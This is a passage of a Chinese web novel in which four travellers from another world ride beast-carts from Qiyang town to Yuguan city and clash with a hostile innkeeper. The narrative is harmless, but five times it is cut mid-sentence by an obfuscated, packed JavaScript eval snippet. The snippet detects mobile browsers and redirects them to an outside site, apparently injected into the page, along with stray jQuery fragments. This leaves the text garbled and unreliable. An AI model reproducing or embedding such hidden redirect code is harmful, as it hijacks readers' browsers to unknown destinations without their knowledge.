自从兽车上了这条大路，逐渐平稳，不复昨日颠簸之苦。青山连绵不断，可是能偶尔看见道边有亭翼然，路上轮迹泥土清晰可见，他们甚至迎面遇上了其他行车兽拉着的车。 那车停在路边，没有车顶，货箱高高地叠了三层，被人用绳子绑稳在车上。车主戴着斗笠，正坐在行车兽后，叼了一根草杆。车主与行车兽均慢悠悠地转头看了一眼他们，动作近乎同步，随即他们便被甩在许巧星的车后了。 更往前走，仿佛过了一道无形的分界线。许巧星放眼望去，道路两侧出现大片的整齐农田，几栋零星房屋点缀其中。孚安在旁解释，晌午便可抵达漆阳镇了。 道中又休息了一次。车队在一条河流附近缓缓停下，使者解开行车兽的绳子，让它们去河边垂首啜水。 孚安把其余使者问了个遍，他们得知正使缺钱后纷纷解囊相助。同时，有两名使者曾在外头旅店暂住过，告知他们在王城附近，寻常旅店大约需十五钱。 孚安将所有钱全装在一个袋子里，递给他们。站在最近的许巧星有些不好意思地双手接过袋子，再三谢过。她环视一圈，孚安与各位使者皆满面春风地注视她，笑意吟吟。 这毕竟是假借正使名义才得到的慷慨相助，她对使者的古道热肠感到有些难为情。 等行车兽吃饱喝足，给宝物鱼换过干净水，他们再次往漆阳镇赶去。 至日中矣，日头渐热，许巧星遥遥听见人声鼎沸，而疾驰的行车兽放慢速度，缓缓朝着前面走去。他们终于到达了漆阳镇，正是分道扬镳的时候了。 她往窗外看去，兽车在一座很大的牌楼下驶过，道路旁的石头上爬有青苔，花草茂密丛生。 牌楼外亦有一排车，有人正将汗巾甩在背上，从车上往下搬运重物。背着行囊的过路人擦身而过，行车兽性情安稳，或许是习惯了这番场景，它们对乍然靠近的陌生人没有抗拒，习以为常地甩了甩长尾。 漆阳镇显然比白沙镇要热闹上许多。 更往后，两排路边小店夹道欢迎，叫卖声不断。他们支起一杆小旗，卖各种汤水面食，锅里热气腾腾，香气扑鼻。 小旗上工工整整写的大字，她能看懂。 车队继续往前走，寻了一处人较少的地方把许巧星等人放了下来。使者们急着返回王城，在路上嚼干粮便已足够，不会为了打牙祭而就此停留。 “就送到这了，还望多保重。”孚安的手臂挂着鹦鹉，他也下了车。 鹦鹉犹豫再三，钻回车里，不知从何处叼出一枚贝壳状的货币。这是它偷藏的私房钱。 “这是？”许巧星半晌才反应过来是给自己的，她双手接过，对鹦鹉突如其来的举动感到无比诧异。 白色大鸟歪着脑袋，漆黑如墨的眼珠盯着许巧星，它头一回自己主动与许巧星说话：“你们缺钱，俺送你们的。” “原来你会说话！啊不是，我的意思是你能真的会和我们说话！”许巧星惊讶地叫出声，口拙地语无伦次，她顿了顿，真诚地道，“谢谢你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988152|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹦鹉瞥了许巧星一眼，表情里竟透着一丝鄙夷，它转头爬回兽车。 “谢谢你，小鸟！”许巧星在后面探头喊了一声。 “我有名字，叫喜宝！”车内传来一声喜宝的破铜嗓子。 孚安温和一笑，对着他们深深行礼，也转身上了车。 兽车车门在四人面前合上，齐腰的车轮辘轳转动，许巧星望着车队离去的背影，心中五味杂陈。 司机被鹦鹉逗笑了：“这只鹦鹉，人还挺好的。” “人家是鸟，不是人。”郝乐宁忍不住吐槽。 司机不在意地说道：“好、好。话说，我们是现在找车去羽冠城吗？他们给了我们多少钱？够我们打车吗？” “我们去哪里找车？价格又是多少？人生地不熟的，可别被人给卖了。” “去打听一下消息。” 许巧星看了一眼热闹街道，问：“我们去街边小贩那里买点东西？他们肯定知道。”虽然干粮仍剩下不少，可以留到以后吃。 街道小贩为了不挤占道路，在外极少摆放座椅。许巧星仔细瞧过，那些摊位多是路边店面向外延伸，在路边摆摊不过是为了招揽顾客。 从远处走来一个背着箱笼的女人，风尘仆仆，边走边看，似乎打定了主意，在一家面店外停住脚步。 许巧星不动声色地跟上去。这人显然是过路人，说不定能听到些别的。 “老板，三碗面，多少钱？”那人拉开凳子坐下，把箱笼搁在脚边。 扎着头巾的老板掀开锅盖放在桌上，白雾模糊了脸庞。她一手从一旁拿起碗，另一手用长筷子在锅里划了一圈，利索地挑起面条，放在碗里：“三碗？你吃得完吗？” “老板，我胃口好着呢，你就不用担心了。” “那我算你便宜点。”老板把碗放在前面，淋上热油，“要什么自己过来加！” “好嘞！谢谢老板！” 许巧星一行人后脚进店，老板看到再来了一笔生意，笑容满面地打招呼：“你们来几碗？”她提了一挂长长的面条下锅。 司机喊了一声，老板请他们往里面走。许巧星坐下，回头去看那位过路人，不料却见到那张桌子上已放了一个残留面渣的空碗。那人已在狼吞虎咽吃第二碗了。 许巧星一愣，她真有这么饿吗？ 陈哥打开钱袋，这里的货币确实外形像贝壳，外缘有一排上下的柔和弧度，材质却更似石头，上面有一个小孔，是用来穿绳子的。他估摸着，摸出几枚，上去付了钱。老板随手给他找钱，陈哥心里也明白这些货币大致所指的数额了。 郝乐宁已上前与老板唠家常，她向来嘴甜，还带点自来熟。 “姐姐好！”郝乐宁一笑，“老远就闻见你家的面香喷喷的。” 老板笑开了花：“哎呦，我可在这里做了十几年生意了，不好吃的话，哪能把店开下去？既然小姑娘喜欢，我多给你加点。” 郝乐宁眨眨眼睛：“谢谢姐姐！”她又说了一些吉祥好话，“姐姐，我们一家人难得出来，去羽冠城投奔亲戚，要送家里妹妹去念书。您方便指个路吗？”她胡诌了几句，指了一下正襟危坐的许巧星，许巧星被点到名，对老板露出那种好学生的腼腆微笑。 22. 第 22 章 老板盖上锅盖，笑道：“你们看见了门外的那列车吗？咱们这地儿专门有家店做这生意，你顺着这条路直走，再右拐，门口摆了气派兽像的，就是那家了。我和那店的老板有些渊源，待会儿你们过去报我名字，给你们算便宜点。” 这是意外之喜了！ 郝乐宁忙不迭道谢，语气兴奋：“谢谢姐姐，那姐姐您怎么称呼？”坐在椅子上的三人也站起身向老板表示感谢。 “我叫延春。”老板轻轻拉着郝乐宁的手，“多好的闺女，等你和你妹妹哪天读书回家，路过我的店，记得再来啊。” 郝乐宁笑脸盈盈地点头。 司机走到隔壁桌，单手撑在桌上：“朋友，请问你是从哪来的？” 那人正囫囵吞枣，她吃完第二碗，深深地呼出一口热气：“唔，我就是从羽冠城来的。” “我们正好要去那里，这么巧？”司机挑眉。 “说巧也不巧。来这漆阳镇的，大致分为四类人，往东走的，朝着王都那边去，往北走的人去雪石山，往南走的人自然是朝羽冠城走，往西的则多是回家。春夏交际，考试刚过，不少人落榜而返——就好比我。”她挪过第三碗，朝许巧星笑了一下，“这位妹妹，学府的下一场考试可要等到明年了，你足有一载光阴可以为此筹备。祝你心想事成，榜上有名。” 原来这是一位落榜生，而观她面上神采奕奕，并不因没通过考试而心灰意冷。 许巧星道谢。考试不过是一个幌子，她不觉得自己会去参加一年之后的考试，整整一年时间，还要在其他地方下功夫。师保说过，羽冠城有私学，但得交一大笔束脩。再者说，若真有能跨越千里之外的法术，那些使者哪须头晕目眩地坐好几日的兽车才能赶回王都？ 回家一事遥遥无期，许巧星不打算在外头谁都能学会的法术上孤注一掷。 她眼神一暗。一年，王城指不定在到处张贴冒牌正使的通缉令了。一年时间，瞬息万变，她又会身处何地呢？ 老板一声吆喝，其余的面也都添到碗中。许巧星端来一碗面，分量很足。她忧心忡忡地坐回位置。 她没了心思慢慢享用，他们有幸遇见一羽冠城来的人，虽不太可能去参加一年后的考试，但仍需要打探消息：“你方便和我说一下考试的事情吗？” “这有何不便的？”女人搁下碗，言语坦荡，“第一场就是平时书上背的那些知识，第二场是时务策，我没进第三场。其实，我向来志不在此，不过家中要我去，我便去了。既然我着实刻苦学过，考不上他们也说不了什么。如今反而一身轻，倒不如先游历山水之间，增长阅历见识。” “祝你一路顺利。”许巧星笑了一下。 那人胃口极好，将碗里面条一扫而空，若是路人旁观，绝对猜不到这是第三大碗。 她吃完后，站起身，对着许巧星真诚地道：“小妹妹，我见你面善，我们有缘，我就同你道两句真心话，不是扫你的兴。这只是一己之言，你随意听听罢了。每年考生何其多，可上榜的不过十几人。你若是日后榜上有名，那自然是好事。若是没有，也无需气馁，足下之路通往四方，路转峰回，不必拘泥在一处。” 许巧星闻言，心中一暖，站起身送她：“知道了，谢谢你。” 女人摆摆手，重新把箱笼背好，与几人抱拳告辞后走远了。远处青山叠叠，她哼着小曲，昂首挺胸走在行人如织的街道上，转眼间就消失在人群中。 许巧星眉毛舒展，出神地向外望去。一阵凉风吹来，心头阴云在不知不觉中消失了一半。 “你碗里的面要冷了。”司机喊了一声。 许巧星回过神，才发觉自己几乎没动过面前的瓷碗，白色的面条已经不再冒热气，她低下头，浅喝了一口汤，滋味鲜美。 用过餐，他们也向老板告别。郝乐宁怕自己听错，特意又问了一遍路。他们依照老板的指示，往那家店走。 过了弯，那家店分外引人注目，无需再去向旁人问路。门面比寻常店铺要大，门口一左一右齐腰高的行车兽石像。许巧星没在门口看见众多兽车，但是大门内外不时有人进进出出，还有迎来送往的店小二穿梭其中，生意显然欣欣向荣。 四人驻足一会儿，确定没走错，便往店内去。一位店小二打扮的人迎了上来，面上挂着殷勤的笑：“几位客官是要去哪？坐车还是载货？” “四个人，去羽冠城。”司机又问了一句，“我听说，最近羽冠城很多人来？” “是的，您也知道，十里八乡的考生皆会在此时齐聚羽冠城。眼下他们差不多考完试，自然会来咱们漆阳镇。我们在羽冠城的生意来往多，若是平常，三天才走一趟车呢，这段日子，日日皆有。客官若是急着赶路，今日便有一趟车前去羽冠城。”店小二话很密，做了一个往里请的手势，他把四人送到大堂座位上，喊人端来茶水糕点。 大堂被一条过道分为左右两侧，各有座椅，过道走到底是一面柜台。柜台后正有两人在拨动算盘，时不时停下来拿笔写字。大厅内客人不少，好几名店小二侍奉在侧。 “是延春姐姐介绍我们来的。”郝乐宁坐下，抬头看着店小二，提醒了一声。 他脸上的笑容越发热情了：“原是延春老板的朋友，那便也是我们店里的朋友。好说好说。” “下一班车是在什么时候？”许巧星问他。 “正预备着呢，各位客官在这儿坐着等。若是准备妥善了，我便找人带着各位过去，还请放心。” “要多少钱？” “既是延春老板的朋友，店里会给各位客官折个半。客官请来柜台，您在这边记个名，店里的这部分钱就不用付了，另一半等到了羽冠城，再付给车夫便好。”他满面笑容，手上比了一个数字。 许巧星愣了一下。 几人跟着店小二往前走。 到了柜台，店小二跟后面两人打招呼，利索地道：“四位客官，去羽冠城。这四位可是延春老板的朋友，只用在册子上登一下名。” “知道。”其中一人将一本厚本子推了过来。几人之中，唯有郝乐宁会写毛笔字，她提笔蘸墨，面不改色地写了一个假名。 “为什么他们有那种牌子？”许巧星问店小二。不远处也有两位高个的客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988153|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他们手中皆握着一块木牌。 “那边的客人来运货的。若货物多，车便不会从门口这条路进镇，得先绕去兽车场那处，客官要来店里验过牌子后，两边对上账，再由我们请去兽车场。”店小二解释道，“来来往往的客人多，我们若是一时认错了人，耽误了客人，便不好了。因此，均是验过木牌再给货，以免店里混淆失误。” 听起来挺正规。许巧星稍稍放下心。 他将四人送回之前的座位，再送来一碟精致的点心，让他们垫垫肚子。 “为什么你们一听我们是延春老板的朋友，就打折这么多啊？”司机喝了一口茶润嗓，好奇地问。 店小二微微一怔：“各位不知道我们东家与延春老板之间的事情吗？” 他顿了顿，见几人摇头，旋即道：“我们现在的东家并非漆阳镇本地人，而是几年前从别处来的，不慎弄丢钱袋，又饥又饿地来到漆阳镇。而延春老板是本地出了名的大善人，见东家晕倒在路边，好心请人用饭，又给了一笔钱。这恩情可不得好好报答嘛！东家从驶着运兽车做起，咱们前东家不干了，能者居先，现在的东家可就上位了。自此之后，延春老板介绍来的，店内都不收钱，东家自己贴钱呢。” “你们老板可真是知恩图报。”几人感叹。 “那可不？东家与延春老板均为大善人。况且我们开店，虽是做生意，但是行走在外，‘情义’二字当先。若是无义之人，谁敢托付一身家当给我们？”店小二挠挠后脑勺，嘿嘿一笑，说得头头是道。 大家又随口聊了两句，因又来了其他客人，他要去忙着招待，临走前说了一句，若兽车场妥当了，会有人来请他们的。 陈哥等店小二走后，平淡地说：“使者他们大概是在外不怎么要用钱，或者已经花完了。他们给我们的钱袋里的数额不大，我们付完车费，到了羽冠城只够付几日房钱。得想办法去赚钱了。” 郝乐宁吃着点心：“花钱如流水啊。”她塞了一个给许巧星，“尝尝。” “有点像绿豆糕。”许巧星忍不住露出一个微笑，“这边的人也很热心肠。” “我也觉得。真好。”郝乐宁点头。 “你要记一大功。”司机拍了拍郝乐宁的椅背，“节省了一大笔钱呢。” “那是。”郝乐宁扬起下巴。 “去了羽冠城要怎么赚钱？”陈哥扯回话题。 “呃……走一步看一步？” 许巧星思考片刻：“羽冠城不像白沙镇自给自足，既然有大量人口流动，大城市也不太可能家家有田务农，应该会提供不少岗位的。” “是。这家店是干运输的，他们的生意好，说明羽冠城经商的人不少。只要店铺多了，肯定有缺人的。”郝乐宁赞成许巧星，又说，“我们不知道岗位要什么人。不过，总不可能只缺会法术的，普通人依旧是大多数，肯定会招的。” 陈哥脸色淡淡的，听完，同意了她们的看法。 “总有路子。最起码，他们总会缺扫大街的人吧。”司机哈哈大笑，安抚道。 不过，谁也没想到这竟然一语成真。 23. 第 23 章 等店小二来喊他们时，大堂内的客人已陆陆续续走了大半。他们跟在店小二身后，往店外走。 出了大门，拐到隔壁窄巷。巷子口有一棵三人环抱不下的大树，茂密树荫下摆放一个木箱，上面坐了一名穿着裋褐的年轻女子，她看见店小二，朝他招手，又从箱子上稳当当地跳下来。 “等一下应舒驾车送你们去羽冠城，你们跟她走便好。”店小二笑着介绍，“这四位是这次去羽冠城的客人。” “你们好。”应舒爽朗一笑，“请跟我来。” 应舒带着他们往深处走去。巷子虽窄，仅够三人平行而过，但许巧星可以听见一墙之外喧闹不断，再过了一条街，往前，视线刹时开阔，前面便是宽敞的兽场，紧挨漆阳镇外的平坦大道。 这个兽场极大，栅栏将其分为多个区域，行车兽休憩的厩房占据树荫阴凉一隅，有一块地势平坦的草地专用以行车兽奔跑嬉耍。一排木车整齐地停在门口，正有人拿着纸清点货物。 许巧星见此场景，知道这店是正经的大店，看起来不像是背地里干一些黑心勾当的，彻底放下心来。 应舒打开栅栏小门，领着四人从小道径直穿过兽场，走到车队旁。 为首的行车兽显然更加高大壮硕，应舒拍了拍行车兽，行车兽低头亲昵地蹭了一下她的手。她笑道：“今日去羽冠城的仅有你们四位，后面的车上均装了商货。” 许巧星进了车厢，这兽车虽无使者的车那般精致华贵，但是也明净素雅。几人坐在车上等候片刻，兽场大门处传来一声吆喝。旋即，随着轰隆一声，大门从两侧被打开，应舒随手一拉缰绳，高大的行车兽往前走去。 车轮辚辚，一队兽车慢慢地行驶上大道。 许巧星把头探出窗外，向后望去，郁郁葱葱的兽场草地，像一块地毯，铺在漆阳镇的外沿。此趟共有七辆兽车，而他们坐在最前面的兽车上，应舒手上拉着绳子，扭头朝内露齿一笑：“今晚便可抵达羽冠城了，客官是回家吗？” “去探亲，顺便送家中孩子念书。”司机借着这个理由，向应舒询问一些事。 应舒道：“原来如此。我常跑这条线，常遇上学子，倒是知道些一二。学府在春夏交接之际有一大考，每逢考试，咱们的生意都比平时要好上不少。” “那也更辛苦点吧。” “辛苦没什么，我赚得也多呢。” “也是。”司机点点头，又问，“我听说，考上的人很少。” “是啊。这时候，多数人是从羽冠城往外走，不过入城的人不算少，赶着一起凑个热闹嘛，城内正赶上祭神。至于考试，自然是难的。今年尚未放榜，你们进城之后，可以在放榜日去看看，一般就十来个。多的年份，也不到三十人。若少，单手便可数清。” “千军万马过独木桥啊。”司机咂咂嘴。 “可不是嘛。” 许巧星则对她话中的另一件事感兴趣：“城内在祭神？” “是啊，羽冠城的祭神可热闹了，放灯结彩，比我们小地方的好玩多了，我们不过是去行个礼，用个饭。羽冠城不一样，他们那儿可是会抬着神像在城内巡游一圈，白日一次，夜里一次，还有人在夜市上放花爆，玩傀儡戏。” 应舒顿了顿，又想起了什么，“我娘说，她幼时去过两次，从前的祭神更有趣些，学府的人会施展法术，以乐众人。不记得哪年始，就不这样了，至少我没见过。” 许巧星默默听着。 应舒想起这人是要去念书的，笑着道：“没过几日便是放榜日，你可以去沾沾喜气，遇上心情大悦的人，还可求上几个字。有不少人是带着纸墨笔砚去围观的，保佑下一次过考的人便是自己了。” 司机抚掌大笑：“那我们定要去凑一下这个热闹。” 郝乐宁晕车反胃，不愿多言，她把头靠在壁上，闭目养神。应舒见状，问过后，比划了两个穴位，让郝乐宁轻轻按压。郝乐宁脸色苍白，对应舒轻声道谢。 许巧星担忧地看了好几眼郝乐宁，郝乐宁拧着眉，朝她摆摆手，示意自己无事。 他们与应舒谈天说地，知道了一些羽冠城的消息。近日羽冠城好生热闹，城内生意也火热，兽车正是赶去城内送货呢。 漆阳镇四通八达，他们的店不光做羽冠城的生意，远至王城，好些地方均跑过兽车。不过应舒只在附近道上驾车，她为了给他们解闷，说了几个从同行朋友那儿听说来的趣事。 比如深不见底、人迹罕至的高山深渊，又比如冬夜盛开的满山花野。 许巧星意外得知了羽冠城名称的由来。 城中有一棵参天古木，树冠遮天蔽日。若站在树下近半里地内，仰头望去，使人误以为天是浓郁的绿。古木的枝梢栖息繁多青鸟，它们为巢于树上，日日在城上空展翅翱翔。因此，这城也被人称为羽冠城。 此树几乎可算是举世无双，百年前王城曾用秘法取了一根树枝移植过去，受人精心照顾却只能勉强存活。羽冠城这景色是绝无仅有的了。 巨树在两百年间愈长愈大，但在五十年前似定了形，树梢不再逐年向外伸去。不过，这也足够令人称奇。 “这树本是靠近城中心，可羽冠城有些年向外修建房子，开垦田地。渐渐的，如今那棵巨树就不在城中心了。” 应舒笑道。 许巧星听得有些入迷，就连晕车的郝乐宁也挺直了背。 应舒见客人喜欢，又说了几个有意思的故事。她一手拉着缰绳，另一手抄起旁边的竹筒，仰头喝了一口清水。 许巧星眼中发亮：“你真是见多识广。” 应舒歇了一会儿，笑着摇头，继续道：“没有。我不过是道听途说。除了这羽冠城的树，其余的皆没见过。咱们驾车的人之间口口相传，已不知传过几遭，故事是在路上给各位解解乏。万一何处有误，请多担待。” 路边景色除了连绵不断的山丘外，更添了一分烟火气息。远处虽有崇山峻岭，但绝大多数地势更为平坦开阔。许巧星透过窗户，可以看见道路两侧的连片田地，油绿的作物在褐色泥土中冒了一大截。 一路向前，谈论之间意兴盎然。直至黄昏红阳，一行人来到羽冠城。 虽说是城，但没见着厚重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988154|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城墙。 道旁有人把守，应舒让兽车停了下来。 她下车与那些人交谈。有人往车内打量了好几眼，许巧星有点慌张，生怕他们要身份证明之类的物件，幸好他们没多问什么，注意力更多是放在后面的货物上。 应舒领他们简单看了货，又交了点过路费。那些人也就放车通行了。 应舒登上车，与那几人告辞。她指了指路边一个不起眼的石碑，对许巧星等人道：“这儿算西门。从这往后，我们便在羽冠城内了。” 往后走，四周是普通农家，炊烟淡淡，有人挑着担子踩在田埂上。 行车兽放缓脚步，车队徐徐前行。 有孩童一前一后追打嬉戏，见有车来，连忙躲闪至路边。 应舒笑着同孩子打招呼，又回头看车内几人，问：“我们的兽场就在前方不远处。若你们需要，我可以把你们送到家门口。不过，得稍等片刻。我需先将车上货物安排妥当。” 他们哪来的家门口？ 许巧星回过神来，想起来之前撒谎，说自己一行人是来寻亲的。当时撒这个谎，是出于别的考虑，怕被人坑。若提到有亲戚在羽冠城内，可以让有坏心的人稍加顾虑。 她与同伴对视，轻轻摇头：“不用送到家门口，亲戚会来接我们。你再把我们往里头送一点距离，我们还要先找亲戚碰头呢。” “去哪？” 司机答：“最繁华的街。” 应舒迟疑：“那处人多拥挤，不让走车。我只能送你们到附近。” “也好，多谢。” 此地的兽场规模稍小，但也应有尽有。应舒进了门，停稳兽车，便指挥别人卸货。陈哥掏出钱袋，把车费付了。 应舒接过钱，返身回了屋，她提了一个被绳子捆好的小包出来：“我自己做的花茶，给你们尝尝。” 四人谢过，应舒再次上了车。 “应舒，你还有活儿？”有人见为首的兽车要掉头出去，走过来问她。 “是。天太晚了，送客人回去。”她高声应道。 “溪月路那块不让走车！” “行！知道啦！” 行车兽抬起蹄子，车轮再次缓缓滚动起来。 更往前，行人渐多。屋舍林立，余晖落下，街道两侧每隔十步便竖着一盏石灯。坊市热闹非凡，灯火通明。 道上出现了别的兽车，数量不多，但因行人如织，车子时走时停。 应舒不再闲聊，她在城内驾车不敢放松。她脚下踩着一块踏板开关，车前檐上挂着的一排铃铛便响个不停，声音遥遥荡开，人群也纷纷让开道。 倏忽身临熙熙攘攘的闹市中，华灯升起，房屋鳞次栉比，古典雅致。 许巧星呆呆望着窗外风景。她既感到新鲜，又暗中揣测不安。 车停了下来，太阳已落在山后头。 应舒与他们告辞，她掉车离去，逐渐融入川流不息的街道，在夜色中分辨不清了。 “走吧。” 许巧星这才发觉其余人皆在不远处等自己，她加快步伐，跟了上去。 24.第 24 章 行走在古色古香的陌生城中，她新鲜地打量四周，擦肩的行人面色平和，有说有笑地走过。 许巧星听闻羽冠城中能学法术，她还以为一进城便能大开眼界。但走在喧闹街头，周遭只是寻常之景，有一瞬以为自己身处在拍摄古装剧的景区，拐个角就是一群人举着摄像机拍戏。 虽是初夏，可路上有人已身着轻衫。许巧星想起穿越前的光阴，随口道：“我们那边入了秋。一穿越来，这边又是春夏。幸好不是寒冬，要不然我们在山里真可能冻死。” 郝乐宁拍了拍她的肩膀。 司机拉过一面善的路人，打听最近的旅店。那人指了路，提了一嘴，那家店生意一般，路过时总能看见里头没什么客人。 他们正纳闷缘故，但一想到城内近些日子人多，若是生意火热的店，指不定没空房，便往那边寻住处。 路人所指的店相隔不远，就落在这条街上。 一行人来到店口，向大堂内投去视线。它与周围相较，店面偏小，椅子近乎全被人反扣在桌上。行人过而不入，让人觉得有些冷清。 店内仅有一位客人。那人身材魁梧，低头坐在过道旁的木桌边，脚边放了一个黑色布袋。 果真没什么客人。 一眼粗略扫去，环境算得上干净整洁，他们便走了进去。 “两间房，住五天，多少钱？”司机放声问掌柜。 掌柜本在嗑瓜子，听到人声，懒懒地掀起眼皮，瞟了他们一眼。他长吐一口浊气，慢悠悠地道：“两千。” 许巧星一愣神。 先前使者说的好像不是这个价，就算地区之间物价不一，哪能高出这么多钱？她站在店内瞧，以为自己走错了地。可这家店装横寻常，倒也不像是昂贵的奢靡酒楼。 “这么贵？”司机皱眉，他叩击柜台桌面，见掌柜屁股粘在椅子上，没有半分起身迎客的意思，“定价单呢？还有，你是店里的老板吗？”一点也不像做生意的样子。 “你管我是不是老板呢？”那人似笑非笑，吐出瓜子壳，未曾想一张口便是火药味，“怕贵就别住，外面便宜的店多了去了。你去打听打听，我们贵有贵的道理，就这个价。要是住不起，就请出去。” “你什么态度？”司机心头冒火，拉高嗓门，用力一拍桌面。 柜台里的男人被司机的动作吓得一哆嗦，往后挪了一下椅子，嘴上仍生硬：“我们又没强行逼着你们花钱，你气什么？你们要是不愿意出这钱，就请回吧。” 司机眯起双眼。 “你们开店，为什么不能好好说话？哪里有把客人往外赶的道理？”许巧星忍不住插嘴。她算是明白为何唯独这一家店冷清了。 “换一家吧。”郝乐宁摇头，“时间不早了，没必要在这里纠缠。” 司机从鼻子里发出一声闷哼，狠狠地瞪了那个人一眼，掉头离开。 “我们店过一会儿就要打烊了。你们若没找到地方，再回来。等那时，我们可就关门了哈。”掌柜擦擦脖子上的冷汗，又来了一句。 司机性急，闻言，扭头盯着掌柜，怒发冲冠：“有你这样说话的吗？” 掌柜却聋了一般，继续低头嗑他的瓜子。 “别和他计较，浪费时间。”许巧星拽了一下司机的衣袍，劝了几句，把司机劝走了。四人心里碰到这档子事，心中颇有不乐，快步离开这家店。 店里唯一的客人双手环在胸前，斜目而视，似乎对刚才的口角毫不在乎。 一行人与他擦肩而过，客人无动于衷，直挺挺地坐着。 不知是店内空间狭小，通风不畅，抑或是被掌柜气得心烦。郝乐宁刚下车不久，仍有些头晕。路过地上一滩水渍，脚下不稳，砰的一声，她侧身撞上了那位客人的桌子。 桌子斜了过来。 许巧星走在郝乐宁身边，忙不迭搀扶住她的胳膊：“你还好吗？”她留意到，客人方才抬手似是护住脚边的黑色布袋，但很快放了下来。 “我没事。”郝乐宁刚一站稳，就低头向那位客人道歉，“对不住。” 掌柜被这突来的动静唬了一跳，从柜台后面走了出来，慌慌张张地骂道：“喂！你们走路长点眼睛，瞎了不成？别撞到了我们景哥，惹到了景哥，你们赔得起吗？” “怎么了？”司机本怒气冲冲地走在最前面。陈哥也停下脚步。 “我差点撞到这个人，实在对不住。”郝乐宁想把桌子摆正，却被掌柜伸手拦住了。 掌柜边挪桌子，边道：“一边去！说两句对不住有什么用！你们快走吧，我们店里伺候不起。”说罢，他以手掌作赶客动作。 “你什么意思？”司机火冒三丈，欲拉住掌柜。陈哥眼疾手快，把他拦了下来。 掌柜往后躲去：“怎么？你们在我店里撞了人，现在还想动手？我可要去外头喊城卫了！” “你！” 掌柜皱眉：“算我求你们，行不行？别呆店里了，快走吧！” 客人仍然不置一词，连眼神也不给一个。 郝乐宁也不觉得尴尬，又笑着重复了一遍“对不住”，见这人没有其余反应，试探着说了一句“那我先走了”。 客人不打算较真，郝乐宁也没有真撞到这人身上，看起来应该无碍。 她抬腿往外走去，她揉了一下太阳穴：“是我脚滑了。走吧，我们换一家店住。” 四人出了店门。司机被陈哥硬推着走，他嘴里仍在骂：“这种店还能开下去？我呸，活该生意不好。他那张嘴，真欠揍。” 陈哥道：“不要打人。我们是黑户，别惹上事。” 那唯一的客人应该腰缠万贯，所以那态度傲慢的掌柜对他分外殷勤。但店里有这等见钱眼开的势利眼，能住得舒坦吗？还有，他袋子里装了什么？ 许巧星正想着，回头望去，却正巧与那位客人的目光对上。 那漠然阴冷的视线让她僵住了。 动怒了？ 刚才怎么一句话没说？就为了一张桌子？ 她暗自惊愕，佯装无事发生，面上淡定地转回头，脚下加快步伐。 司机实在气不过，脸色难看极了。 陈哥见他冷静下来，不再多言。 “我们再去其他店看看，这么大的城市，不可能就他一家店有空房。”郝乐宁安抚道。 司机冷笑：“我宁愿睡大街，我也不去那家店。” 郝乐宁叹了一口气，看许巧星缩着脖子，误以为她因夜深风冷而瑟缩：“再坚持一下，我们不至于睡大街的。” 许巧星摸了一手臂的鸡皮疙瘩，应了声好。 陈哥找到一人问路。行人先是说了之前的那家店，被他们断然拒绝了后，虽不解，但仍继续说了下去：“你们沿着这条路直走，遇见岔路口过弯，前方应另有一家旅店的。不出两里远。” 许巧星问他：“城里住店很贵吗？” “什么？”路人诧异，“我不知道。我不住外头，但没听说过哪里住店贵。难不成是有人借着城内这段日子访客众多的机会，直接坐地起价吧？” “两间房要两千！态度还很差，说我们没钱就别去。他要赶我们走，说什么大晚上的要关门了，别再过去了。”司机忿忿不满，出口抱怨。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992749|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人瞠目结舌，显然对此事难以置信，好一会儿才出声：“两千？谁会去他家住啊？这般对客人，能做好生意？岂不是自砸招牌吗？” 司机又骂了几句。 与好心路人告辞后，他们又去找下一家店。 “我总感觉店里的客人不对劲。”许巧星裹紧衣袍，忍不住对其他人道。 “愿意花冤枉钱住黑心店的，肯定不对劲。”司机嗤笑道。 不知不觉，街道上店前亮起的石灯变得稀疏，而行人也愈来愈少。 下一家同样是小店，门半掩着，似乎已经打烊了。 许巧星推开门，问：“有人在吗？” 店内柜台旁亮着一盏灯。 她又问了一遍。 